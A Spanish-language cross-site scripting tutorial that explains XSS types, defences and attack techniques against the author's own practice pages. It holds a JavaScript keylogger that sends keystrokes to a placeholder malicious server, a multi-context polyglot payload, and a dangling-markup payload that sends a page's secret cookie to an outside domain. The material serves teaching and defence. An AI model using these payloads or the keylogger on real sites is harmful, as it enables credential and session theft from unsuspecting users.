CAPITULO 1: XSS.
0. Previo:
Cross Site Scripting consiste en la inyección de código javascript en una página web para vulnerar su seguridad. En estas series pretendo mostrar varias formas de explotación de fallos de seguridad, a buscarlos, redactar reportes, construir pruebas de concepto y sobre todo que todos podamos aprender algo nuevo.
• Para aprovechar el primer capítulo de estas series debes tener conocimientos básicos-intermedios de las tecnologías web básicas.
Como mínimo HTML, javascript y el protocolo HTTP.
Altamente recomendado tener nociones de DNS y servidores web...
Si no tienes la mayoría de conocimientos citados pero estás interesado en adquirirlos te recomiendo:
Buscar y preguntar por el foro.
Los cursos/tutoriales de w3schools sobre html, javascript y php.
Montarte un LAMP para subir tu web, hacerla pública y capturar las peticiones http. Jugar con ellas, mirarte un poco el tema...
• No quiero limitarme a cosas básicas, pero tampoco entrar de golpe con cosas complejas. Si eres un usuario avanzado te recomiendo echar un ojo y enganchar con las cosas que no conozcas.
• El nivel general de este capítulo es básico-intermedio.
• Se recomienda el uso de Google Chrome última versión (no es estrictamente necesario) .
• Se recomienda tener un servidor propio para experimentar. (Tampoco es estrictamente necesario) .
• Estas series se dividen en Capítulos y Secciones. Todas son independientes pero secciones avanzadas seguramente hagan referencia a conceptos explicados anteriormente.
• La páginas vulnerables que comiencen por el dominio https://stringmanolo.ga/xssSeries/ las hice yo y teneis permiso para atacarlas directamente y probar lo que querais a mano. Tampoco deberíais tener ningún problema por utilizar scanneres y herramientas similares. Si teneis dudas sobre esto, también es posible descargarse los retos para probarlos en local, ya que están subidos a github.
1. Qué es el XSS?
El XSS (inyección de código javascript en otros sitios) es la inclusión de código javascript en aplicaciones, webs, documentos... con capacidad de interpretarlo.
Ejemplo de un script/codigo javascript, alert("hola") que muestra un mensaje en pantalla.
Adelante pruébalo en una página vulnerable.
En cambio si la página es segura verás que no es vulnerable.
Como puedes comprobar, si la página está mal programada puedes ejecutar código en ella. Qué riesgos implica esto a parte de ver una ventana con un mensaje?
Si existe una vulnerabilidad XSS, se puede inyectar código en la página para que se ejecute en un navegador o en el de miles de usuarios.
Un keylogger (registra las teclas que pulsas durante tu estancia en la web) en javascript se escribe en pocas líneas de código.
Código
Esto implica que si un login es vulnerable a XSS pueden robar tus contraseñas. No solo se aplica a webs clásicas, si no a todo tipo de aplicaciones.
/* Keylogger (Android-IOS support) */ function keylogger() { var logs = "Keys:"; var i = 0; window.onkeydown = function(e) { if (i++) { logs = "Key_Id=" + event.target.value.charAt(event.target.selectionStart -1).charCodeAt() + "KeyChar=" + event.target.value.charAt(event.target.selectionStart -1) + "\n\n" ; new Image().src = servidorMalicioso + idCliente + "/" + "keylogs=" + logs; } } }
Teniendo presente que la mayoría de sitios webs se alojan en los servidores de las mismas empresas, es una técnica totalmente transparente para un usuario normal. No va a observar nada que pueda diferir de lo usual.
Son comunes también redirecciones a publicidad, timos, defacements, denegaciones de servicio...
2. Cómo sé cuando una página es vulnerable?
Existen varias técnicas y depende de las circunstancias.
En el caso de que seas un programador novicio preocupado por la seguridad de tu sitio web. Tu mejor baza es compartir el código en el foro para que te podamos ayudar.
Cabe mención aquí de herramientas como ZAP (aquí online). Si lo vas a usar, hazlo con mi dominio https://stringmanolo.ga. No scannes sitios sin permiso.
Hay escaners de todo tipo. Así como pueden hallar vulnerabilidades que personas no, también pueden pasar por alto puntos de inyección muy obvios. Alguien con alguna experiencia los puede localizar en segundos.
Si estás aprendiendo seguridad no hay nada mejor que introducir el código en la aplicación y analizar el código fuente usando la función inspeccionar elemento usando el navegador.
En sistemas Android, se puede observar el código fuente precediendo con view-source: la dirección; y/o utilizando javascript: seguido de código javascript.
Para verificar el fallo de seguridad se introduce un alert() debido a que es fácil identificar la inyección de código al mostrarse el mensaje indicado en pantalla. Cabe la posibilidad de que en el propio código de la página esten desabilitados.
Es este tu caso? Prueba a escribir a mano javascript:alert(); sobre la barra de direcciones. Si no funciona, puedes modificar el código de la página con el código inyectado para demostrar la vulnerabilidad.
3. Qué tipos de XSS existen?
Se distinge entre 3 tipos. Esta manera de distinguir se basa en si los datos proporcionados por el usuario son almacenados en la aplicación, son reflejados o se ejecutan directamente en el cliente.
Yo añado dos tipos más, son estos los que; o bien son modificados por el navegador, o los que se hace uno sobre si mismo (teniendo o no consciencia de ello).
4. Introdución a los tipos de XSS.
• Stored XSS (inyección javascript almacenada en sitios cruzados).
Es común que las aplicaciones almacenen datos cuyo origen eres tú. Véanse nombre de usuario, correo eléctronico, ubicación...
En el supuesto que consigas introducir código en tu nombre de usuario que el navegador interprete, todos los demás usuarios interpretarán el código en lugar de visualizar tu nombre de usuario. Quedan entonces subvertidos todos los navegadores mientras permanezcan en la página que incluye tu inyección de código.
Observa aquí una simulación de Stored XSS
Puedes explotarlo registrándote con un nombre y añadiendo <svg onload=alert()> como payload que inserta un elemento SVG que mediante el evento onload llama al código javascript abriendo la ventana.
• Reflected XSS (inyección javascript reflejada en sitios cruzados).
Cuando una página hace una operación y muestra de vuelta la información, es posible conseguir una inyección de javascript reflejada.
Las características principales de este fallo de seguridad son que; este fallo NO se incluye en la página permanentemente y que este fallo se genera como respuesta a una petición/acción que realizas sobre la propia página.
Si no realizas esa acción, no verás tu código javascript en la página. Aqui te ofrezco una simulación de Reflected XSS.
Puedes apreciar que en la URL va incluido #/search?q=<img onerror=confirm() src=nada>. Si haces la búsqueda de <img onerror=confirm() src=nada > en google, verás algo muy similar.
Directamente puedes escribir la búsqueda en la url de la siguiente forma: https://google.com/search?q=<img onerror=confirm() src=nada>. La q después de search es un parámetro http. Cuando el servidor crea el código, refleja(escribe) ese parámetro dentro de la página.
Si no se modifica el parámetro para que no se ejecute el código (google si lo hace) entonces el código es ejecutado.
Si bien el Stored XSS es un fallo que puede afectar a miles de usuarios al incluirse el código inyectado al visitar la página (no requiere que el usuario introduzca código) el reflected también es también peligroso dado que se puede explotar desde una segunda página web rediriguiendo a los usuarios pudiendo dar más control a un hipotético actor malientencionado.
Este fallo no solo se puede explotar mediante una url (usuarlmente petición http con método GET), si no que también se puede explotar utilizando el método POST rediriguiendo al usuario de la aplicación al enviar este un formulario con el código al sitio web vulnerable.
• DOM XSS (inyección javascript sobre el documento)
Las inyecciones javascript en el DOM son aquellas que se ejecutan directamente sobre la página y no requieren de que un servidor procese, envíe o incluya la inyección.
Incluso a usuarios con nivel intermedio les resulta problemático comprender este tipo de XSS. Todas las páginas vulnerables que has visto hasta ahora, son en realidad DOM XSS. En ningún momento la información que has enviado a las páginas llegó al servidor porque son fallos emulados.
Todo el código que les "enviastes" a sido procesado por código javascript que ya estaba en la página.
En la primera página en la que escribiste alert(), una función llamada eval ejecutó tu código.
En la segunda página vulnerable el código se almacenó en tu navegador, cuando volviste a cargar de nuevo la página, fue el código javascript de la página (no el servidor) el que mete el que incluye código en la página para que el navegador lo ejecute.
En la tercera página vulnerable es el código javascript el que lee la barra de direcciones y mete en la página el la url después del =.
En casos reales de Stored XSS la información se guarda en el servidor y todo el mundo puede verla. Y en el caso real de Reflected XSS es el servidor quien envía el código reflejado.
Como los DOM XSS se ejecutan utilizando el código ya existente de la página sin interacturar con el servidor, son fallos muy peligrosos porque el dueño de la página no tiene forma de registrar lo que pasa. Para aprovechar este fallo es necesario conocer los sink (funciones y propiedades del DOM) que lo permiten. Algunos de los más comunes son innerHTML y outerHTML, eval, location y document.cookie.
• Self XSS (ejecución de javascript sobre si mismo)
Divido el self xss(inyección a uno mismo) en 2. El self XSS consciente, y el self XSS inducido.
Al realizar un self XSS consciente, tratas de explotar cualquiera de los otros tipos de XSS a través de este. Con un ejemplo se ve mejor. Self XSS. Como puedes ver, cuando vas a esta página te retorna la versión de tu navegador. Esta información no se puede modificar con javascript. Pero si puedes modificarla con un proxy que intercepte las peticiones HTTP o modificando la configuración de tu navegador. Si modificas tu userAgent y lo cambias por código como el del último ejemplo, conseguiras la ejecución de código.
El tema está en que no tienes forma de modificarle esta información a otro usuario a través de código javascript/html. Entonces para que sirve hacerse selfxss consciente? Normalmente no de mucho. Se pueden hacer utilidades para remover atributos como pattern, required, max, etc. Prácticamente lo mismo que con la consola del navegador con el objetivo de facilitar la explotación de otros fallos.
Por el otro lado el selfXSS inducido es una técnica más propia de phishing que de xss. El objetivo de la técnica es engañar a un usuario para que ejecute tu código sobre la página objetivo. Un ejemplo burdo: "Ve a al login de facebook, pon tu usuario y contraseña y ejecuta este código siguiendo estos pasos para poder entrar como administrador y ver los mensajes de los demás usuarios.".
Creo que ambos selfXSS son al menos dignos de mención. El primero para evitar confusiones si se encuentra este fallo en una página y el segundo para poder entender algunas de las limitaciones impuestas sobre la ejecución del pseudo-protocolo javascript: (permite correr javascript sobre la web actual así como explotar otros XSS) .
• mXSS (mutación de la inyección de javascript)
Es el xss es más raro de ver. Es causado por una mala interpretación del parser del navegador cuando le el código y forma las etiquetas en base a él. Por ejemplo tu podrías estar metiendo un string de html dentro de un script tal que:
Código
<script> var miTexto = `Mis etiquetas favoritas son <div> <img> y </script> Es una pena que no se puedan utilizar todas juntas así: <div etiquetasFavoritas=</script><img onerror=alert() src= >y</div>>`; alert(miTexto); </script>
El navegador cuando cargas la página lo entiende como lo siguiente:
Código
<script>var miTexto = `Mis etiquetas favoritas son <div> <img> y </script> Es una pena que no se puedan utilizar todas juntas así: <div etiquetasFavortias=`></script> <img onerror="alert()"><div></div> alert(miTexto); <script></script></body></html>
Si te fijas, lo que antes era código javascript (en concreto un string) ahora a mutado a ser código html pasando a interpretarse como tal y por tanto permitiendo la ejecución del script.
Este fallo no es un error en la página, ni es culpa del programador de la misma. Si no de una mala interpretación de lo que hay en ella por parte del navegador. La mutación no es exclusiva de javascript a html, si no que puede mutar de css a html, de html a css, etc.
5. Codificaciones, Filtros, firewalls, reglas, políticas...
Ya sabes los tipos de xss que hay. Cómo se previenen?
• HTML Entities.
Las entidades html son una forma alternativa de representar caracteres peligrosos que previene su ejecución por parte del navegador. Por ejemplo si en tu código html pones < en lugar de < el navegador no interpretara la etiqueta pero los visitantes verán el caracter <. También se puede hacer lo mismo usando los números que representan el caracter en la tabla Ascii. < es < Aquí tienes un programa que hace esta conversión para que no tengas que mirarlos todos. html entities.
• X-XSS-Protection:
Esta cabecera HTTP enviada por el servidor cuando envía la página, indica al navegador que no carge una página si el propio navegador detecta un ataque XSS. Se puede enviar desde PHP header("X-XSS-Protection: 1; mode=block"); y desde apache
Código
<IfModule mod_headers.c> Header set X-XSS-Protection "1; mode=block" </IfModule>
• Content-Security-Policy:
Esta cabecera HTTP indica cual es el contenido que tu página permite y cual no, así como quien puede. De esta forma si una inyección intenta hacer algo que está bloqueado en las políticas, el navegador lo impedirá.
Código
Aquí tienes un artículo donde se explica exactamente que hace cada directiva. CSP MDN Aquí otro donde se explica de forma generalizada la política con varios examplos de uso común. CSP Google. También debes implementar X-Frame-Options para evitar otra vulnerabilidad muy frecuente que permite secuestro de clicks. XFO MDN
Content-Security-Policy: default-src 'none'; img-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; frame-ancestors 'none'; base-uri 'none'; form-action 'none';
• WAF se trata de una tecnología (normalmente un servidor) que hace de frontera recibiendo los datos introducidos por los usuarios con el objetivo de detectar ataques y tomar las medidas configuradas. Tras analizar las peticiones, se envían al servidor real.
6. Ataques y Técnicas (básicas, intermedias y avanzadas).
• Básicas:
• XSS (inyección de javascript en sitios cruzados) ya lo has visto en la sección número 4.
• HTML injection (inyección de html) es una inyección de código html que no incluye la ejecución de código javascript de ninguna forma.
Un ejemplo básico es la inserción de un formulario apuntando al servidor malicioso donde se le pide al usuario legítimo que introduzca sus credenciales, pensando este que se está comunicando con la página actual.
También son comunes redirecciones a otras páginas, defacements, enlaces de phishing...
FIX: Puedes utilizar htmlEntities sobre el input para evitar que se interpreten las etiquetas. En caso de frontend puede utilizar textnodes o utilizar .innerText
• javascript injection (inyección de javascript) es una técnica que te permite inyectar código javascript para manipular el comportamiento de una página o aplicación.
Un ejemplo sencillo es no perder las vidas en el juego offline del dinosauro de Google Chrome. Se ha echo bastante popular cambiar el código de la función de morir para que no haga nada cuando sea llamado.
Este concepto es aplicable a la seguridad donde se puede manipular el código para obtener resultados no esperados, robo de contraseñas y demás.
Si se están enviando datos a un servidor, pueden estar manipulados.
FIX: El cliente siempre puede ser manipulable por diseño, incluso remplazado completamente sin que el servidor lo notifique. Es por eso que siempre se debe validar toda información proveniente de él en el servidor.
• Inline javascript injection (inyección de javascript en atributos) es una técnica de inyección de javascript comunmente utilizada para conseguir ejecución de javascript en atributos y eventos.
Por ejemplo <a href="javascript:alert('Hola')">Saludar</a>, <svg onload="alert('Hola')"> o <img onerror="alert('Hola')" src= > son solo algunos de las inyecciones utilizando algunos de los parámetros que pueden ejecutar javascript.
FIX: Cuando sea posible debes eliminar todo TU javascript inline y javascript entre etiquetas script. Debes moverlo a un archivo externo. De esta forma puedes aplicar políticas restrictivas que bloquen toda la ejecución de javascript en la página y solo se permite su ejecución desde tus archivos javascript. Lo mismo aplica a css, svg y otras tecnologías que no sean puramente html.
• Alternative Attribute Separation (separación de atributos alternativa) algunos filtros asumen que la única forma posible de separar un atributo de la etiqueta es usar espacios.
• Intermedias:
• Políglotas (multilenguaje) son códigos creados con el objetivo de que sean ejecutados en múltiples contextos. Son una herramienta potente para probar a ciegas en aplicaciones que no tengan un sistema que te bloqué la inyección.
Código
javascript:confirm()</xmp></script>'"</option></select></template></embed></noscript></style></textarea></title>'"><svg/onload=confirm()><img src=0 onerror=confirm()><META HTTP-EQUIV="refresh" CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5jb25maXJtKCk8L3NjcmlwdD4=">
Este políglota se ejecuta en un mínimo de 14 contextos distintos. Vamos a ver tanto los payload por separado que han dado origen a este políglota, como los 14 contextos en los que se consigue ejecución de javascript.
Código
El políglota se ejecuta en todos esos contextos, pudiendo faciliar blindXSS (inyección a ciegas).
<!-- Se rompe el atributo class con "> quedando el svg dentro del div y ejecutándose. --> <div id="iPoint1" class="{{payload}}"></div> <!-- Exploit: "><svg/onload=alert()> --> <!-- Se rompe el atributo class con '> quedando el svg dentro del div y ejecutándose. --> <div id="iPoint2" class='{{payload}}'></div> <!-- Exploit: '><svg/onload=alert()> --> <!-- Se cierra la etiqueta title pudiendo inyectar el svg fuera de ella. --> <title id="iPoint3">{{payload}}</title> <!-- Exploit: </title><svg/onload=alert()> --> <!-- Se cierra la etiqueta textarea quedando el svg fuera del textarea y por tanto pasa de ser texto a html. --> <textarea id="iPoint4">{{payload}}</textarea> <!-- Exploit: </textarea><svg/onload=alert()> --> <!-- Se cierra la etiqueta style quedando el svg fuera del style y por tanto pasa de ser código CSS a HTML. --> <style id="iPoint5">{{payload}}</style> <!-- Exploit: </style><svg/onload=alert()> --> <!-- Se cierra la etiqueta noscript quedando el svg fuera del noscript y por tanto pudiendo ejecutar inline javascript. --> <noscript id="iPoint6">{{payload}}</noscript> <!-- Exploit: </noscript><svg/onload=alert()> --> <!-- Se cierra la etiqueta embed quedando el svg fuera y por tanto se ejecuta el javascript. --> <embed id="iPoint7">{{payload}}</embed> <!-- Exploit: </embed><svg/onload=alert()> --> <!-- Se cierra la etiqueta template quedando el svg fuera y por tanto se ejecuta el javascript. --> <template id="iPoint8">{{payload}}</template> <!-- Exploit: </template><svg/onload=alert()> --> <!-- Se cierra la etiqueta script quedando el svg fuera del script y por tanto pasa de ser código javascript a html que ejecuta el script inline. --> <script id="iPoint9">{{payload}}</script> <!-- Exploit: </script><svg/onload=alert()> --> <!-- Se cierran las etiquetas option y select quedando el svg fuera y por tanto se ejecuta el script. --> <select id="iPoint10"><option>{{payload}}</option></select> <!-- Exploit: </option></select><svg/onload=alert()> --> <!-- Se cierran las comillas dobles y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. --> <script id="iPoint11">"{{payload}}"</script> <!-- Exploit: </script>"<svg/onload=alert()> --> <!-- Se cierran las comillas simples y se cierra la etiqueta script pasando el svg de ser un string javascript a código html. --> <script id="iPoint12">'{{payload}}'</script> <!-- Exploit: </script>'<svg/onload=alert()> --> <!-- Se utiliza el pseudo-protocolo para ejecutar el código javascript cuando el usuario utilice el enlace. --> <a id="iPoint13" href="{{payload}}"></a> <!-- Exploit: javascript:alert() --> <!-- Se utiliza una etiqueta meta que permite ejecución de javascript usando el uri data:. El contenido del script es un confirm codificado en base64. <head id="iPoint14"> {{payload}} </head> <!-- Exploit: <META HTTP-EQUIV="refresh" CONTENT="4;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"> -->
• Dangling Markup Injection (o inyección de html colgando) es un tipo de inyección que puede servir para extración de data sensible hacia un servidor externo.
Esta inyección se basa en no cerrar las comillas de un atributo para que se incluya como valor del atributo todo el contenido hasta la siguiente comilla.
NO es una inyección javascript, es una inyección HTML. Esta técnica es útil cuando existe información sensible desde el punto de inyección en el que se inyecta tu código, hasta la siguiente comilla.
El siguiente ejemplo es vulnerable a un Reflected Dangling Markup Injection.
Dangling HTML Injection
El payload es <a href=https://phishingoda.ga/windowName.htm>If you want to use images anyway click me!</a><base target="
Funciona de la siguiente manera: El <base target="contenido"> cambia la propiedad name de la ventana del navegador. Como no cerramos el contenido del atributo, el navegador entiende que todo hasta la siguiente comilla es el contenido de target.
Debido a que el nombre de la ventana no cambia al visitar otra página, si el usuario pincha el enlace, se incluye código de la página vulnerable como nombre de la ventana. Entonces el atacante solo tiene que leer la propiedad window.name y guardarla en su servidor.
Si yo atacante, quiero robarte el texto secreto (puede ser tu cookie de sesión) de la página https://stringmanolo.ga/xssSeries/DanglingHtmlInjection.html lo que hago es enviarte un link malicioso que refleje la inyección de HTML en la página. Por ejemplo:
Ey! En la página de stringmanolo han metido nueva funcionalidad! https://stringmanolo.ga/NewFeatures pincha en el enlace de la página!
El código vulnerable es el siguiente: <div id="injectionPoint">${filtroXSS(urlInyectada)}</div> Secret Cookie (unique for each user):${cookie}<div id="breakpoint"></div> donde la primera comilla después de nuestra inyección está después de la cookie, por lo que se puede extraer la cookie como valor del atributo target.
FIX: Para prevenir este fallo se debe incluir el <base target="_self"> antes de cualquier punto de inyección.
Ojo, target no es la única propiedad que permite Dangling. src y action entre otras también lo permiten. Target en cocreto se salta las políticas CSP.
• Avanzadas:
• DOM Clobbering (O golpeo al DOM) es una tecnica que consiste en aprovechar que elementos/etiquetas repetidos pueden ser agrupados en colecciones, haciendose accesibles como propiedad de window.
Es común que un programador implemente código para comprobar si un objeto ya existe antes de definirlo let miObjeto = ( window.miObjeto || {} ) en casos donde no se permite la ejecución de javascript pero si es posible inyectar código html, es posible realizar este ataque si se usan las propiedades del objeto para alguna acción susceptible de ser remplazada por una propiedad con posibles fines maliciosos.
En el código del siguiente ejemplo existe un objeto librarySecureLogin que contiene una url a una imagen llamada login4PNG como propiedad. Para explotar la vulnerabilidad inyectamos un par de etiquetas <a> con un id igual al nombre del objeto global que queremos crear.
En la segunda etiqueta definimos el nombre de la propiedad que utiliza el código vulnerable (login4PNG) utilizando name, ya que name a la vez que atributo de <a> también es propiedad de HTMLCollection, que es el objeto que creamos al repetir el id.
También definimos el atributo de la propiedad. De esta forma cuando se llame a la propiedad, se retornada el atributo que contiene, que en este caso es una url a una inofensiva imagen.
En caso de que el código vulnerable obtenga el src de un script de esta forma, podremos cargarle nuestro archivo javascript sin violar la política que prohíbe inline javascript.
https://stringmanolo.ga/xssSeries/DOMClobbering.html#<a id=librarySecureLogin></a><a id=librarySecureLogin name=login4PNG href=https://stringmanolo.ga/xssSeries/hacked.png></a>
Es posible que si existe una política bien implementada, no se puedan cargar recursos de otro origen. En esos casos debe comprobarse si es posible un bypass de CSP o alojar el recurso en un origen permitido.
FIX: Evita el uso de || para comprobar si una propiedad de window está definida.
Nota: Seguiré añadiendo cosas a lo largo del tiempo, pero da más curro de lo que parece. Si quereis aportar algo para que lo incluya, es bienvenido!